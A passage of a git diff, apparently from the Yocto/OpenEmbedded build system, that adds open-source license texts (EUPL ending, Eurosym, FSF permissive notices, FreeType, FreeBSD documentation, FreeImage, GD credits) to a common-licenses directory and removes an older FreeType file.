+— any litigation resulting from the interpretation of this License, arising between the European Union institutions,
+bodies, offices or agencies, as a Licensor, and any Licensee, will be subject to the jurisdiction of the Court of Justice
+of the European Union, as laid down in article 272 of the Treaty on the Functioning of the European Union,
+— any litigation arising between other parties and resulting from the interpretation of this License, will be subject to
+the exclusive jurisdiction of the competent court where the Licensor resides or conducts its primary business.
+
+15.Applicable Law
+Without prejudice to specific agreement between parties,
+— this Licence shall be governed by the law of the European Union Member State where the Licensor has his seat,
+resides or has his registered office,
+— this licence shall be governed by Belgian law if the Licensor has no seat, residence or registered office inside
+a European Union Member State.
+
+
+ Appendix
+
+‘Compatible Licences’ according to Article 5 EUPL are:
+— GNU General Public License (GPL) v. 2, v. 3
+— GNU Affero General Public License (AGPL) v. 3
+— Open Software License (OSL) v. 2.1, v. 3.0
+— Eclipse Public License (EPL) v. 1.0
+— CeCILL v. 2.0, v. 2.1
+— Mozilla Public Licence (MPL) v. 2
+— GNU Lesser General Public Licence (LGPL) v. 2.1, v. 3
+— Creative Commons Attribution-ShareAlike v. 3.0 Unported (CC BY-SA 3.0) for works other than software
+— European Union Public Licence (EUPL) v. 1.1, v. 1.2
+— Québec Free and Open-Source Licence — Reciprocity (LiLiQ-R) or Strong Reciprocity (LiLiQ-R+).
+
+The European Commission may update this Appendix to later versions of the above licences without producing
+a new version of the EUPL, as long as they provide the rights granted in Article 2 of this Licence and protect the
+covered Source Code from exclusive appropriation.
+All other changes or additions to this Appendix require the production of a new EUPL version.
diff --git a/meta/files/common-licenses/Eurosym b/meta/files/common-licenses/Eurosym
new file mode 100644
index 0000000000..f6c255327c
--- /dev/null
+++ b/meta/files/common-licenses/Eurosym
@@ -0,0 +1,18 @@
+Copyright (c) 1999-2002 Henrik Theiling
+Licence Version 2
+
+This software is provided 'as-is', without warranty of any kind, express or implied. In no event will the authors or copyright holders be held liable for any damages arising from the use of this software.
+
+Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions:
+
+ 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated.
+
+ 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+ 3. You must not use any of the names of the authors or copyright holders of the original software for advertising or publicity pertaining to distribution without specific, written prior permission.
+
+ 4. If you change this software and redistribute parts or all of it in any form, you must make the source code of the altered version of this software available.
+
+ 5. This notice may not be removed or altered from any source distribution.
+
+This licence is governed by the Laws of Germany. Disputes shall be settled by Saarbruecken City Court.
diff --git a/meta/files/common-licenses/FSFAP b/meta/files/common-licenses/FSFAP
new file mode 100644
index 0000000000..32bc8a8898
--- /dev/null
+++ b/meta/files/common-licenses/FSFAP
@@ -0,0 +1 @@
+Copying and distribution of this file, with or without modification, are permitted in any medium without royalty provided the copyright notice and this notice are preserved. This file is offered as-is, without any warranty.
diff --git a/meta/files/common-licenses/FSFUL b/meta/files/common-licenses/FSFUL
new file mode 100644
index 0000000000..f976e3c9ac
--- /dev/null
+++ b/meta/files/common-licenses/FSFUL
@@ -0,0 +1,3 @@
+Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc.
+
+This configure script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it.
diff --git a/meta/files/common-licenses/FSFULLR b/meta/files/common-licenses/FSFULLR
new file mode 100644
index 0000000000..2acb219e0a
--- /dev/null
+++ b/meta/files/common-licenses/FSFULLR
@@ -0,0 +1,3 @@
+Copyright 1996-2006 Free Software Foundation, Inc.
+
+This file is free software; the Free Software Foundation gives unlimited permission to copy and/or distribute it, with or without modifications, as long as this notice is preserved.
diff --git a/meta/files/common-licenses/FTL b/meta/files/common-licenses/FTL
new file mode 100644
index 0000000000..a47d94d106
--- /dev/null
+++ b/meta/files/common-licenses/FTL
@@ -0,0 +1,79 @@
+The FreeType Project LICENSE
+
+2006-Jan-27
+
+Copyright 1996-2002, 2006 by David Turner, Robert Wilhelm, and Werner Lemberg
+
+Introduction
+
+The FreeType Project is distributed in several archive packages; some of them may contain, in addition to the FreeType font engine, various tools and contributions which rely on, or relate to, the FreeType Project.
+
+This license applies to all files found in such packages, and which do not fall under their own explicit license. The license affects thus the FreeType font engine, the test programs, documentation and makefiles, at the very least.
+
+This license was inspired by the BSD, Artistic, and IJG (Independent JPEG Group) licenses, which all encourage inclusion and use of free software in commercial and freeware products alike. As a consequence, its main points are that:
+
+ o We don't promise that this software works. However, we will be interested in any kind of bug reports. (`as is' distribution)
+
+ o You can use this software for whatever you want, in parts or full form, without having to pay us. (`royalty-free' usage)
+
+ o You may not pretend that you wrote this software. If you use it, or only parts of it, in a program, you must acknowledge somewhere in your documentation that you have used the FreeType code. (`credits')
+
+We specifically permit and encourage the inclusion of this software, with or without modifications, in commercial products. We disclaim all warranties covering The FreeType Project and assume no liability related to The FreeType Project.
+
+Finally, many people asked us for a preferred form for a credit/disclaimer to use in compliance with this license. We thus encourage you to use the following text:
+
+ """ Portions of this software are copyright © <year> The FreeType Project (www.freetype.org). All rights reserved. """
+
+Please replace <year> with the value from the FreeType version you actually use.
+
+Legal Terms
+
+0. Definitions
+
+Throughout this license, the terms `package', `FreeType Project', and `FreeType archive' refer to the set of files originally distributed by the authors (David Turner, Robert Wilhelm, and Werner Lemberg) as the `FreeType Project', be they named as alpha, beta or final release.
+
+`You' refers to the licensee, or person using the project, where `using' is a generic term including compiling the project's source code as well as linking it to form a `program' or `executable'. This program is referred to as `a program using the FreeType engine'.
+
+This license applies to all files distributed in the original FreeType Project, including all source code, binaries and documentation, unless otherwise stated in the file in its original, unmodified form as distributed in the original archive. If you are unsure whether or not a particular file is covered by this license, you must contact us to verify this.
+
+The FreeType Project is copyright (C) 1996-2000 by David Turner, Robert Wilhelm, and Werner Lemberg. All rights reserved except as specified below.
+
+1. No Warranty
+
+THE FREETYPE PROJECT IS PROVIDED `AS IS' WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT WILL ANY OF THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DAMAGES CAUSED BY THE USE OR THE INABILITY TO USE, OF THE FREETYPE PROJECT.
+
+2. Redistribution
+
+This license grants a worldwide, royalty-free, perpetual and irrevocable right and license to use, execute, perform, compile, display, copy, create derivative works of, distribute and sublicense the FreeType Project (in both source and object code forms) and derivative works thereof for any purpose; and to authorize others to exercise some or all of the rights granted herein, subject to the following conditions:
+
+ o Redistribution of source code must retain this license file (`FTL.TXT') unaltered; any additions, deletions or changes to the original files must be clearly indicated in accompanying documentation. The copyright notices of the unaltered, original files must be preserved in all copies of source files.
+
+ o Redistribution in binary form must provide a disclaimer that states that the software is based in part of the work of the FreeType Team, in the distribution documentation. We also encourage you to put an URL to the FreeType web page in your documentation, though this isn't mandatory.
+
+These conditions apply to any software derived from or based on the FreeType Project, not just the unmodified files. If you use our work, you must acknowledge us. However, no fee need be paid to us.
+
+3. Advertising
+
+Neither the FreeType authors and contributors nor you shall use the name of the other for commercial, advertising, or promotional purposes without specific prior written permission.
+
+We suggest, but do not require, that you use one or more of the following phrases to refer to this software in your documentation or advertising materials: `FreeType Project', `FreeType Engine', `FreeType library', or `FreeType Distribution'.
+
+As you have not signed this license, you are not required to accept it. However, as the FreeType Project is copyrighted material, only this license, or another one contracted with the authors, grants you the right to use, distribute, and modify it. Therefore, by using, distributing, or modifying the FreeType Project, you indicate that you understand and accept all the terms of this license.
+
+4. Contacts
+
+There are two mailing lists related to FreeType:
+
+ o freetype@nongnu.org
+
+ Discusses general use and applications of FreeType, as well as future and wanted additions to the library and distribution. If you are looking for support, start in this list if you haven't found anything to help you in the documentation.
+
+ o freetype-devel@nongnu.org
+
+ Discusses bugs, as well as engine internals, design issues, specific licenses, porting, etc.
+
+Our home page can be found at
+
+ http://www.freetype.org
+
+--- end of FTL.TXT ---
diff --git a/meta/files/common-licenses/FreeBSD-DOC b/meta/files/common-licenses/FreeBSD-DOC
new file mode 100644
index 0000000000..3023a2e948
--- /dev/null
+++ b/meta/files/common-licenses/FreeBSD-DOC
@@ -0,0 +1,23 @@
+The FreeBSD Documentation License
+
+Copyright 1994-2021 The FreeBSD Project. All rights reserved.
+
+Redistribution and use in source (SGML DocBook) and 'compiled' forms (SGML, HTML, PDF, PostScript, RTF and so forth) with or without modification, are permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code (SGML DocBook) must retain the above copyright notice, this list of conditions and the following disclaimer as the first lines of this file unmodified.
+
+ 2. Redistributions in compiled form (transformed to other DTDs, converted to PDF, PostScript, RTF and other formats) must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+THIS DOCUMENTATION IS PROVIDED BY THE FREEBSD DOCUMENTATION PROJECT "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FREEBSD DOCUMENTATION PROJECT BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+Manual Pages
+
+Some FreeBSD manual pages contain text from the IEEE Std 1003.1, 2004 Edition, Standard for Information Technology — Portable Operating System Interface (POSIX®) specification. These manual pages are subject to the following terms:
+
+ The Institute of Electrical and Electronics Engineers and The Open Group, have given us permission to reprint portions of their documentation.
+
+ In the following statement, the phrase "this text" refers to portions of the system documentation.
+
+ Portions of this text are reprinted and reproduced in electronic form in the FreeBSD manual pages, from IEEE Std 1003.1, 2004 Edition, Standard for Information Technology — Portable Operating System Interface (POSIX), The Open Group Base Specifications Issue 6, Copyright© 2001-2004 by the Institute of Electrical and Electronics Engineers, Inc and The Open Group. In the event of any discrepancy between these versions and the original IEEE and The Open Group Standard, the original IEEE and The Open Group Standard is the referee document. The original Standard can be obtained online at https://www.opengroup.org/membership/forums/platform/unix.
+
+ This notice shall appear on any product containing this material.
diff --git a/meta/files/common-licenses/FreeImage b/meta/files/common-licenses/FreeImage
new file mode 100644
index 0000000000..1b800d0628
--- /dev/null
+++ b/meta/files/common-licenses/FreeImage
@@ -0,0 +1,117 @@
+FreeImage Public License - Version 1.0
+
+1. Definitions.
+
+ 1.1. "Contributor" means each entity that creates or contributes to the creation of Modifications.
+
+ 1.2. "Contributor Version" means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+ 1.3. "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+ 1.4. "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.5. "Executable" means Covered Code in any form other than Source Code.
+
+ 1.6. "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.7. "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.8. "License" means this document.
+
+ 1.9. "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a
+Modification is:
+
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10. "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+ 1.11. "Source Code" means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or a list of source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+ 1.12. "You" means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You" includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+ 2.1. The Initial Developer Grant.
+ The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a) to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, or as part of a Larger Work; and
+
+ (b) under patents now or hereafter owned or controlled by Initial Developer, to make, have made, use and sell ("Utilize") the Original Code (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Original Code (or portions thereof) and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+ 2.2. Contributor Grant.
+ Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a) to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code or as part of a Larger Work; and
+
+ (b) under patents now or hereafter owned or controlled by Contributor, to Utilize the Contributor Version (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Contributor Version (or portions thereof), and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+3. Distribution Obligations.
+
+ 3.1. Application of License.
+ The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+ 3.2. Availability of Source Code.
+ Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+ 3.3. Description of Modifications.
+ You must cause all Covered Code to which you contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+ 3.4. Intellectual Property Matters
+
+ (a) Third Party Claims.
+ If You have knowledge that a party claims an intellectual property right in particular functionality or code (or its utilization under this License), you must include a text file with the source code distribution titled "LEGAL" which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after You make Your Modification available as described in Section 3.2, You shall promptly modify the LEGAL file in all copies You make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+
+ (b) Contributor APIs.
+ If Your Modification is an application programming interface and You own or control patents which are reasonably necessary to implement that API, you must also include this information in the LEGAL file.
+
+ 3.5. Required Notices.
+ You must duplicate the notice in Exhibit A in each file of the Source Code, and this License in any documentation for the Source Code, where You describe recipients' rights relating to Covered Code. If You created one or more Modification(s), You may add your name as a Contributor to the notice described in Exhibit A. If it is not possible to put such notice in a particular Source Code file due to its structure, then you must include such notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.6. Distribution of Executable Versions.
+ You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You descr ibe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code under a license of Your choice, which may contain terms different from this License,provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+ 3.7. Larger Works.
+ You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A, and to related Covered Code.
+
+6. Versions of the License.
+
+ 6.1. New Versions.
+ Floris van den Berg may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2. Effect of New Versions.
+ Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Floris van den Berg
+No one other than Floris van den Berg has the right to modify the terms applicable to Covered Code created under this License.
+
+ 6.3. Derivative Works.
+ If you create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), you must (a) rename Your license so that the phrases "FreeImage", `FreeImage Public License", "FIPL", or any confusingly similar phrase do not appear anywhere in your license and (b) otherwise make it clear that your version of the license contains terms which differ from the FreeImage Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY.
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+9. LIMITATION OF LIABILITY.
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO YOU OR ANY OTHER PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+The Covered Code is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS.
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by Dutch law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in, the The Netherlands: (a) unless otherwise agreed in writing, all disputes relating to this License (excepting any dispute relating to intellectual property rights) shall be subject to final and binding arbitration, with the losing party paying all costs of arbitration; (b) any arbitration relating to this Agreement shall be held in Almelo, The Netherlands; and (c) any litigation relating to this Agreement shall be subject to the jurisdiction of the court of Almelo, The Netherlands with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys fees and expenses. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS.
+Except in cases where another Contributor has failed to comply with Section 3.4, You are responsible for damages arising, directly or indirectly, out of Your utilization of rights under this License, based on the number of copies of Covered Code you made available, the revenues you received from utilizing such rights, and other relevant factors. You agree to work with affected parties to distribute responsibility on an equitable basis.
+
+EXHIBIT A.
+
+"The contents of this file are subject to the FreeImage Public License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://home.wxs.nl/~flvdberg/freeimage-license.txt
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
diff --git a/meta/files/common-licenses/FreeType b/meta/files/common-licenses/FreeType
deleted file mode 100644
index 3666649f3e..0000000000
--- a/meta/files/common-licenses/FreeType
+++ /dev/null
@@ -1,170 +0,0 @@
- The FreeType Project LICENSE
- ----------------------------
-
- 2006-Jan-27
-
- Copyright 1996-2002, 2006 by
- David Turner, Robert Wilhelm, and Werner Lemberg
-
-
-
-Introduction
-============
-
- The FreeType Project is distributed in several archive packages;
- some of them may contain, in addition to the FreeType font engine,
- various tools and contributions which rely on, or relate to, the
- FreeType Project.
-
- This license applies to all files found in such packages, and
- which do not fall under their own explicit license. The license
- affects thus the FreeType font engine, the test programs,
- documentation and makefiles, at the very least.
-
- This license was inspired by the BSD, Artistic, and IJG
- (Independent JPEG Group) licenses, which all encourage inclusion
- and use of free software in commercial and freeware products
- alike. As a consequence, its main points are that:
-
- o We don't promise that this software works. However, we will be
- interested in any kind of bug reports. (`as is' distribution)
-
- o You can use this software for whatever you want, in parts or
- full form, without having to pay us. (`royalty-free' usage)
-
- o You may not pretend that you wrote this software. If you use
- it, or only parts of it, in a program, you must acknowledge
- somewhere in your documentation that you have used the
- FreeType code. (`credits')
-
- We specifically permit and encourage the inclusion of this
- software, with or without modifications, in commercial products.
- We disclaim all warranties covering The FreeType Project and
- assume no liability related to The FreeType Project.
-
-
- Finally, many people asked us for a preferred form for a
- credit/disclaimer to use in compliance with this license. We thus
- encourage you to use the following text:
-
- """
- Portions of this software are copyright © <year> The FreeType
- Project (www.freetype.org). All rights reserved.
- """
-
- Please replace <year> with the value from the FreeType version you
- actually use.
-
-
-Legal Terms
-===========
-
-0. Definitions
---------------
-
- Throughout this license, the terms `package', `FreeType Project',
- and `FreeType archive' refer to the set of files originally
- distributed by the authors (David Turner, Robert Wilhelm, and
- Werner Lemberg) as the `FreeType Project', be they named as alpha,
- beta or final release.
-
- `You' refers to the licensee, or person using the project, where
- `using' is a generic term including compiling the project's source
- code as well as linking it to form a `program' or `executable'.
- This program is referred to as `a program using the FreeType
- engine'.
-
- This license applies to all files distributed in the original
- FreeType Project, including all source code, binaries and
- documentation, unless otherwise stated in the file in its
- original, unmodified form as distributed in the original archive.
- If you are unsure whether or not a particular file is covered by
- this license, you must contact us to verify this.
-
- The FreeType Project is copyright (C) 1996-2000 by David Turner,
- Robert Wilhelm, and Werner Lemberg. All rights reserved except as
- specified below.
-
-1. No Warranty
---------------
-
- THE FREETYPE PROJECT IS PROVIDED `AS IS' WITHOUT WARRANTY OF ANY
- KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
- WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- PURPOSE. IN NO EVENT WILL ANY OF THE AUTHORS OR COPYRIGHT HOLDERS
- BE LIABLE FOR ANY DAMAGES CAUSED BY THE USE OR THE INABILITY TO
- USE, OF THE FREETYPE PROJECT.
-
-2. Redistribution
------------------
-
- This license grants a worldwide, royalty-free, perpetual and
- irrevocable right and license to use, execute, perform, compile,
- display, copy, create derivative works of, distribute and
- sublicense the FreeType Project (in both source and object code
- forms) and derivative works thereof for any purpose; and to
- authorize others to exercise some or all of the rights granted
- herein, subject to the following conditions:
-
- o Redistribution of source code must retain this license file
- (`FTL.TXT') unaltered; any additions, deletions or changes to
- the original files must be clearly indicated in accompanying
- documentation. The copyright notices of the unaltered,
- original files must be preserved in all copies of source
- files.
-
- o Redistribution in binary form must provide a disclaimer that
- states that the software is based in part of the work of the
- FreeType Team, in the distribution documentation. We also
- encourage you to put an URL to the FreeType web page in your
- documentation, though this isn't mandatory.
-
- These conditions apply to any software derived from or based on
- the FreeType Project, not just the unmodified files. If you use
- our work, you must acknowledge us. However, no fee need be paid
- to us.
-
-3. Advertising
---------------
-
- Neither the FreeType authors and contributors nor you shall use
- the name of the other for commercial, advertising, or promotional
- purposes without specific prior written permission.
-
- We suggest, but do not require, that you use one or more of the
- following phrases to refer to this software in your documentation
- or advertising materials: `FreeType Project', `FreeType Engine',
- `FreeType library', or `FreeType Distribution'.
-
- As you have not signed this license, you are not required to
- accept it. However, as the FreeType Project is copyrighted
- material, only this license, or another one contracted with the
- authors, grants you the right to use, distribute, and modify it.
- Therefore, by using, distributing, or modifying the FreeType
- Project, you indicate that you understand and accept all the terms
- of this license.
-
-4. Contacts
------------
-
- There are two mailing lists related to FreeType:
-
- o freetype@nongnu.org
-
- Discusses general use and applications of FreeType, as well as
- future and wanted additions to the library and distribution.
- If you are looking for support, start in this list if you
- haven't found anything to help you in the documentation.
-
- o freetype-devel@nongnu.org
-
- Discusses bugs, as well as engine internals, design issues,
- specific licenses, porting, etc.
-
- Our home page can be found at
-
- https://www.freetype.org
-
-
---- end of FTL.TXT ---
-
diff --git a/meta/files/common-licenses/GD b/meta/files/common-licenses/GD
new file mode 100644
index 0000000000..534b5978c7
--- /dev/null
+++ b/meta/files/common-licenses/GD
@@ -0,0 +1,24 @@
+Credits and license terms
+
+In order to resolve any possible confusion regarding the authorship of gd, the following copyright statement covers all of the authors who have required such a statement.  If you are aware of any oversights in this copyright notice, please contact Pierre-A.  Joye who will be pleased to correct them.
+
+ • Portions copyright 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 by Cold Spring Harbor Laboratory.  Funded under Grant P41-RR02188 by the National Institutes of Health.
+ • Portions copyright 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 by Boutell.Com, Inc.
+ • Portions relating to GD2 format copyright 1999, 2000, 2001, 2002, 2003, 2004 Philip Warner.
+ • Portions relating to PNG copyright 1999, 2000, 2001, 2002, 2003, 2004 Greg Roelofs.
+ • Portions relating to gdttf.c copyright 1999, 2000, 2001, 2002, 2003, 2004 John Ellson (ellson@graphviz.org).
+ • Portions relating to gdft.c copyright 2001, 2002, 2003, 2004 John Ellson (ellson@graphviz.org).
+ • Portions copyright 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007 Pierre-Alain Joye (pierre@libgd.org).
+ • Portions relating to JPEG and to color quantization copyright 2000, 2001, 2002, 2003, 2004, Doug Becker and copyright © 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 Thomas G.  Lane.  This software is based in part on the work of the Independent JPEG Group.  See the file README-JPEG.TXT for more information.
+ • Portions relating to GIF compression copyright 1989 by Jef Poskanzer and David Rowley, with modifications for thread safety by Thomas Boutell.
+ • Portions relating to GIF decompression copyright 1990, 1991, 1993 by David Koblas, with modifications for thread safety by Thomas Boutell.
+ • Portions relating to WBMP copyright 2000, 2001, 2002, 2003, 2004 Maurice Szmurlo and Johan Van den Brande.
